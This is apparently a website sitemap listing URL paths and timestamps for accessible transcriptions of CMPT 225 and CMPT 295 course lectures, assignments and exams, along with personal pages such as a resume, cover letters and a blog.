+/transcriptions/src/cmpt-225/17/17/ + + +/transcriptions/src/cmpt-295/17/17/ + + +/melody/cmpt-295/17/17/ + + +/transcriptions/target/cmpt-295/18/18/ + + +/transcriptions/src/cmpt-295/18/18/ + + +/melody/cmpt-295/18/18/ + + +/transcriptions/target/cmpt-295/19/19/ + + +/transcriptions/src/cmpt-295/19/19/ + + +/melody/cmpt-295/19/19/ + + +/transcriptions/target/cmpt-295/20/20/ + + +/transcriptions/src/cmpt-295/20/20/ + + +/melody/cmpt-295/20/20/ + + +/transcriptions/target/cmpt-295/21/21/ + + +/transcriptions/src/cmpt-295/21/21/ + + +/melody/cmpt-295/21/21/ + + +/transcriptions/target/cmpt-295/22/22/ + + +/transcriptions/src/cmpt-295/22/22/ + + +/melody/cmpt-295/22/22/ + + +/melody/melodys-transcriptions/cmpt225-05/225%20L5%20-%20Dynamic%20DS%20-%20LL/ + + +/melody/cmpt-225/05/225%20L5%20-%20Dynamic%20DS%20-%20LL/ + + +/transcriptions/target/cmpt-295/23/23/ + + +/transcriptions/src/cmpt-295/23/23/ + + +/melody/cmpt-295/23/23/ + + +/melody/cmpt-295/24/24-annotated/ + + +/transcriptions/target/cmpt-295/24/24/ + + +/transcriptions/src/cmpt-295/24/24/ + + +/melody/cmpt-295/24/24/ + + +/transcriptions/target/cmpt-295/25/25/ + + +/transcriptions/src/cmpt-295/25/25/ + + +/melody/cmpt-295/25/25/ + + +/transcriptions/target/cmpt-295/26/26/ + + +/transcriptions/src/cmpt-295/26/26/ + + +/melody/cmpt-295/26/26/ + + +/transcriptions/src/cmpt-295/27/27/ + + +/transcriptions/src/cmpt-295/27_homework/27_homework/ + + +/transcriptions/src/cmpt-295/29/29/ + + +/transcriptions/src/cmpt-295/30/30/ + + +/transcriptions/src/cmpt-295/31/31/ + + +/transcriptions/src/cmpt-295/32/32/ + + +/transcriptions/src/cmpt-295/33/33/ + + +/transcriptions/src/cmpt-295/34/34/ + + +/transcriptions/src/cmpt-295/36/36/ + + +/melody/cmpt-295/02/Lecture_02_Data_Representation_Intro_Annotated/ + + +/transcriptions/target/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers/ + + +/transcriptions/src/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers/ + + +/melody/melodys-transcriptions/cmpt295-05/Lecture_05_Data_Representation_Fractional_Numbers/ + + +/melody/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers/ + + +/transcriptions/target/cmpt-295/assignments/a2/a2/ + + +/transcriptions/src/cmpt-295/assignments/a2/a2/ + + +/transcriptions/target/cmpt-295/assignments/a3/a3/ + + +/transcriptions/src/cmpt-295/assignments/a3/a3/ + + +/transcriptions/target/cmpt-295/assignments/a4/a4/ + + +/transcriptions/src/cmpt-295/assignments/a4/a4/ + + +/transcriptions/target/cmpt-295/assignments/a5/a5/ + + +/transcriptions/src/cmpt-295/assignments/a5/a5/ + + +/transcriptions/target/cmpt-295/assignments/a6/a6/ + + +/transcriptions/src/cmpt-295/assignments/a6/a6/ + + +/transcriptions/target/cmpt-295/assignments/a7/a7/ + + +/transcriptions/src/cmpt-295/assignments/a7/a7/ + + +/transcriptions/src/cmpt-295/assignments/a8/a8/ + + +/transcriptions/src/cmpt-295/assignments/a9/a9/ + + +/transcriptions/target/cmpt-295/midterm/about/ + + +/transcriptions/src/cmpt-295/midterm/about/ + + +/melody/cmpt-295/midterm/about/about/ + + +/melody/cmpt-295/asses/ass2/ass2/ + + +/melody/cmpt-295/asses/ass4/ass4/ + + +/melody/cmpt-295/asses/ass6/ass6/ + + +/melody/cmpt-295/asses/ass7/ass7/ + + +/transcriptions/target/cmpt-295/demo/demo/ + + +/transcriptions/src/cmpt-295/demo/demo/ + + +/melody/cmpt-295/demo/demo/ + + +/blog/ + + +/ + + +/md/ + + +/book-notes/ + + +/tutoring/ + + +/ideas/ + + +/cover-letter-vcc/ + + +/resume/ + + +/scholarships/2020/cnib/ + + +/contact/ + + +/cover-letters/protonmail/ + + +/cover-letters/bloombase/ + + +/about/ + + +/emacspeak-tutorials/ + + +/links/ + + +/isaif/ + + +/tests/latex-cases/ + + +/tests/latex-grouping/ + + +/transcriptions/target/cmpt-295/midterm-solutions/midterm-solutions/ + + +/transcriptions/src/cmpt-295/midterm-solutions/midterm-solutions/ + + +/melody/cmpt-295/midterm-solutions/midterm-solutions/ + + +/transcriptions/target/cmpt-295/midterm2/midterm2/ + + +/transcriptions/src/cmpt-295/midterm2/midterm2/ + + +/melody/cmpt-295/midterm2/midterm2/ + + +/melody/cmpt/test1/ + + +/assets/pdf/bios-accessibility.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-225/01/01-intro.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/02/02-stacks-and-queues.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/03/03-memory-and-pointers.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/04/04.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/04/225%20L4%20-%20Vector%20Implementation%20.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/05/225%20L5%20-%20Dynamic%20DS%20-%20LL.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/05/225%20L5%20-%20Dynamic%20DS%20-%20LL.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/06/06.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/06/225%20L6%20-%20Call%20Stack%20And%20Heap.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/07.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/07/07.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/07/225%20L7%20-%20LL%20Queue%20and%20Traversal.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/08/08.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/08/225%20L8%20-%20Rooted%20Trees.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/09/09.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/09/225%20L9%20-%20Recursion%20On%20Trees.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/10/10.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/10/225%20L10%20-%20Big-Oh.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/11/11.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/11/225%20L11%20-%20BST.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/12/12.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/12/Lecture_12_AVL.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/13/13.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/13/225%20L13%20-%20PQ%20and%20Heaps.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/14/14.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/14/225%20L14%20-%20Big%20Omega%20and%20Theta.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/15/15.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-225/15/225%20L15%20-%20Sorting.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/01/Lecture_01_Activity_Code.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/01/Lecture_01_Course_Overview.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/01/Lecture_01_Course_Overview_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/01/Lecture_01_Course_Overview_annotated.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/02/Lecture_02_Data_Representation_Intro.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/02/Lecture_02_Data_Representation_Intro_Annotated.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/02/Lecture_02_Data_Representation_Intro_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/03/03.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/03/Lecture_03_Data_Representation_Integers.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/04/04.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/04/Lecture_04_Data_Representation_Integers.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/06/06.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/06/Lecture_06_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/07/07.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/07/Lecture_07_Data_Representation_Fractional_Numbers_Rounding_Arithmetic_Operations.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/08/08.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/08/Lecture_08_Machine_Level_Prog_Intro.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/09/09.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/09/Lecture_09_Machine_Level_Prog_Data_Move_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/10/10.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/10/Lecture_10_Machine_Level_Prog_Arithmetic_leaq_Instructions.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/11/11.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/11/Lecture_11_Machine_Level_Prog_Instructions_Practice_Demo.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/12/12.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/12/Lecture_12_Machine_Level_Prog_Control.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/13/13-updated.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/13/13.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/13/Lecture_13_Machine_Level_Prog_Loops.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/13/Lecture_13_Machine_Level_Prog_Loops_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/14/14-updated.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/14/14.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/14/Lecture_14_Machine_Level_Prog_Fcn_Call_Stack.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/14/Lecture_14_Machine_Level_Prog_Fcn_Call_Stack_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/15/15.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/15/Lecture_15_Machine_Level_Prog_Fcn_Call_Passing_Control.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/16/16.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/16/Lecture_16_Midterm_1_Review_Session.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/17/17.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/17/Lecture_17_Midterm_1_1211.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/18/18.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/18/Lecture_18_Machine_Level_Prog_Fcn_Call_Passing_Data.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/19/19.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/19/Lecture_19_Machine_Level_Prog_Fcn_Call_Mem_Mgmt.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/20/20.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/20/Lecture_20_Machine_Level_Prog_Array_1D.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/21/21.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/21/Lecture_21_Machine_Level_Prog_Array_2D.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/22/22.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/22/Lecture_22_Machine_Level_Prog_Buffer_Overflow_and_Fl_Pt_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/23/23.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/23/Lecture_23_ISA_Intro_and_Design_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/23/micro_graph.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/24/24-annotated.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/24/24.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/24/Lecture_24_ISA_MIPS.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/24/Lecture_24_ISA_MIPS_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/25/25.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/25/Lecture_25_ISA_Evaluation.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/26/26.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/26/Lecture_26_Intro_to_Logic_Design.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/26/Lecture_26_Intro_to_Logic_Design_Annotated.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/26/micro_graph.html +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/Lecture_06_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:14:22-07:00 + + +/melody/cmpt-295/Lecture_06_Data_Representation_Fractional_Numbers_Annotated.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/activities/02/02.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/activities/04/04-solution.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/activities/04/04.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/activities/04/Participation_Activity_4_1217_CAL.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/activities/04/Participation_Activity_4_1217_SOLUTION.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass2/Assignment_2.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass2/ass2.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass3/Assignment_3.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass3/ass3.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass4/Assignment_4.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass4/ass4.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass5/05.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass5/Assignment_5.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass6/Assignment_6.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass6/ass6.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass7/Assignment_7.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/asses/ass7/ass7.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/computer-bus/Computer_Bus.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/demo/Demo_Copy_Annotated.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/demo/demo.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/midterm-solutions/Cmpt295_Midterm_1_Fall_2021_SOLUTION.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/midterm-solutions/midterm-solutions.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/midterm/about/About_our_Midterm_1.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/midterm/about/about.html +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/midterm2/About_our_Midterm_2.pdf +2021-11-17T11:14:23-07:00 + + +/melody/cmpt-295/midterm2/midterm2.html +2021-11-17T11:14:23-07:00 + + +/melody/melodys-transcriptions/cmpt225-05/225%20L5%20-%20Dynamic%20DS%20-%20LL.html +2021-11-17T11:14:22-07:00 + + +/melody/melodys-transcriptions/cmpt225-05/225%20L5%20-%20Dynamic%20DS%20-%20LL.pdf +2021-11-17T11:14:22-07:00 + + +/melody/melodys-transcriptions/cmpt295-05/Lecture_05_Data_Representation_Fractional_Numbers.html +2021-11-17T11:14:22-07:00 + + +/melody/melodys-transcriptions/cmpt295-05/Lecture_05_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:14:22-07:00 + + +/transcriptions/src/cmpt-225/04/225%20L4%20-%20Vector%20Implementation%20.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/05/225%20L5%20-%20Dynamic%20DS%20-%20LL.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/06/225%20L6%20-%20Call%20Stack%20And%20Heap.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/07/225%20L7%20-%20LL%20Queue%20and%20Traversal.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/08/225%20L8%20-%20Rooted%20Trees.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/09/225%20L9%20-%20Recursion%20On%20Trees.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/10/225%20L10%20-%20Big-Oh.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/11/225%20L11%20-%20BST.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/12/Lecture_12_AVL.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/13/225%20L13%20-%20PQ%20and%20Heaps.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/14/225%20L14%20-%20Big%20Omega%20and%20Theta.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/15/15.html +2021-11-18T15:40:59-07:00 + + +/transcriptions/src/cmpt-225/15/225%20L15%20-%20Sorting.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-225/16/16.html +2021-11-25T21:47:45-07:00 + + +/transcriptions/src/cmpt-225/16/225%20L16%20-%20Hashing.pdf +2021-11-25T18:36:53-07:00 + + +/transcriptions/src/cmpt-225/17/17.html +2021-12-06T20:44:21-07:00 + + +/transcriptions/src/cmpt-225/17/225%20L17%20-%20Cache%20Effects.pdf +2021-12-06T17:48:34-07:00 + + +/transcriptions/src/cmpt-295/01/Lecture_01_Activity_Code.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/01/Lecture_01_Course_Overview.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/01/Lecture_01_Course_Overview_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/01/computer-bus/Computer_Bus.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/02/Lecture_02_Data_Representation_Intro.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/02/Lecture_02_Data_Representation_Intro_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/03/Lecture_03_Data_Representation_Integers.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/04/Lecture_04_Data_Representation_Integers.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/06/Lecture_06_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/06/Lecture_06_Data_Representation_Fractional_Numbers_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/07/Lecture_07_Data_Representation_Fractional_Numbers_Rounding_Arithmetic_Operations.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/08/Lecture_08_Machine_Level_Prog_Intro.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/09/Lecture_09_Machine_Level_Prog_Data_Move_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/10/Lecture_10_Machine_Level_Prog_Arithmetic_leaq_Instructions.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/11/Lecture_11_Machine_Level_Prog_Instructions_Practice_Demo.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/12/Lecture_12_Machine_Level_Prog_Control.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/13/Lecture_13_Machine_Level_Prog_Loops.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/13/Lecture_13_Machine_Level_Prog_Loops_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/14/Lecture_14_Machine_Level_Prog_Fcn_Call_Stack.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/14/Lecture_14_Machine_Level_Prog_Fcn_Call_Stack_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/15/Lecture_15_Machine_Level_Prog_Fcn_Call_Passing_Control.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/16/Lecture_16_Midterm_1_Review_Session.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/17/Lecture_17_Midterm_1_1211.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/18/Lecture_18_Machine_Level_Prog_Fcn_Call_Passing_Data.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/19/Lecture_19_Machine_Level_Prog_Fcn_Call_Mem_Mgmt.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/20/Lecture_20_Machine_Level_Prog_Array_1D.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/21/Lecture_21_Machine_Level_Prog_Array_2D.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/22/Lecture_22_Machine_Level_Prog_Buffer_Overflow_and_Fl_Pt_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/23/Lecture_23_ISA_Intro_and_Design_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/23/micro_graph.html +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/24/Lecture_24_ISA_MIPS.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/24/Lecture_24_ISA_MIPS_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/25/Lecture_25_ISA_Evaluation.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/26/Lecture_26_Intro_to_Logic_Design.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/26/Lecture_26_Intro_to_Logic_Design_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/26/micro_graph.html +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/27/27.html +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/27/Lecture_27_Combinational_Sequential_Logic_Annotated.pdf +2021-11-20T21:04:26-07:00 + + +/transcriptions/src/cmpt-295/27_homework/27_homework.html +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/27_homework/Lecture_27_Homework.pdf +2021-11-20T21:04:26-07:00 + + +/transcriptions/src/cmpt-295/29/29.html +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/29/Lecture_29_Sequential_Logic_and_Execution_Annotated.pdf +2021-11-20T21:04:26-07:00 + + +/transcriptions/src/cmpt-295/30/30.html +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/30/Lecture_30_Staged_and_Pipelined_Execution.pdf +2021-11-18T22:42:16-07:00 + + +/transcriptions/src/cmpt-295/30/Lecture_30_Staged_and_Pipelined_Execution_Annotated.pdf +2021-11-20T21:04:26-07:00 + + +/transcriptions/src/cmpt-295/31/31.html +2021-11-30T21:35:39-07:00 + + +/transcriptions/src/cmpt-295/31/Lecture_31_Pipelined_Execution_and_Hazards_Annotated.pdf +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/32/32.html +2021-12-02T19:14:56-07:00 + + +/transcriptions/src/cmpt-295/32/Lecture_32_Pipelined_Execution_and_Hazards.pdf +2021-11-30T21:38:05-07:00 + + +/transcriptions/src/cmpt-295/33/33.html +2021-12-02T20:22:34-07:00 + + +/transcriptions/src/cmpt-295/33/Lecture_33_Code_Optimization_Annotated.pdf +2021-12-02T19:11:29-07:00 + + +/transcriptions/src/cmpt-295/34/34.html +2021-12-03T18:18:16-07:00 + + +/transcriptions/src/cmpt-295/34/Lecture_34_Code_Optimization_Annotated.pdf +2021-12-03T09:30:19-07:00 + + +/transcriptions/src/cmpt-295/36/Lecture_36_Locality_Memory_Hierarchy_and_Caching.pdf +2021-12-06T13:50:14-07:00 + + +/transcriptions/src/cmpt-295/activities/04-solution/Participation_Activity_4_1217_SOLUTION.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/activities/04/Participation_Activity_4_1217_CAL.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a2/Assignment_2.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a3/Assignment_3.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a4/Assignment_4.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a5/Assignment_5.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a6/Assignment_6.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a7/Assignment_7.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/assignments/a8/Assignment_8.pdf +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/assignments/a8/a8.html +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/assignments/a9/Assignment_9.pdf +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/assignments/a9/a9.html +2021-11-30T16:40:44-07:00 + + +/transcriptions/src/cmpt-295/demo/Demo_Copy_Annotated.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/midterm-solutions/Cmpt295_Midterm_1_Fall_2021_SOLUTION.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/midterm/About_our_Midterm_1.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/src/cmpt-295/midterm2/About_our_Midterm_2.pdf +2021-11-17T11:13:33-07:00 + + +/transcriptions/target/cmpt-225/01/01.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/01/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/01/html_data/localhost:4000/transcriptions/src/cmpt-225/01/01/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/02/02.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/02/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/02/html_data/localhost:4000/transcriptions/src/cmpt-225/02/02/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/03/03.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/03/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/03/html_data/localhost:4000/transcriptions/src/cmpt-225/03/03/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/04/04.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/04/225%20L4%20-%20Vector%20Implementation%20.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/04/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/04/html_data/localhost:4000/transcriptions/src/cmpt-225/04/04/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/05/05.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/05/225%20L5%20-%20Dynamic%20DS%20-%20LL.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/05/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/05/html_data/localhost:4000/transcriptions/src/cmpt-225/05/05/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/06/06.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/06/225%20L6%20-%20Call%20Stack%20And%20Heap.pdf +2021-11-17T11:13:34-07:00 + + 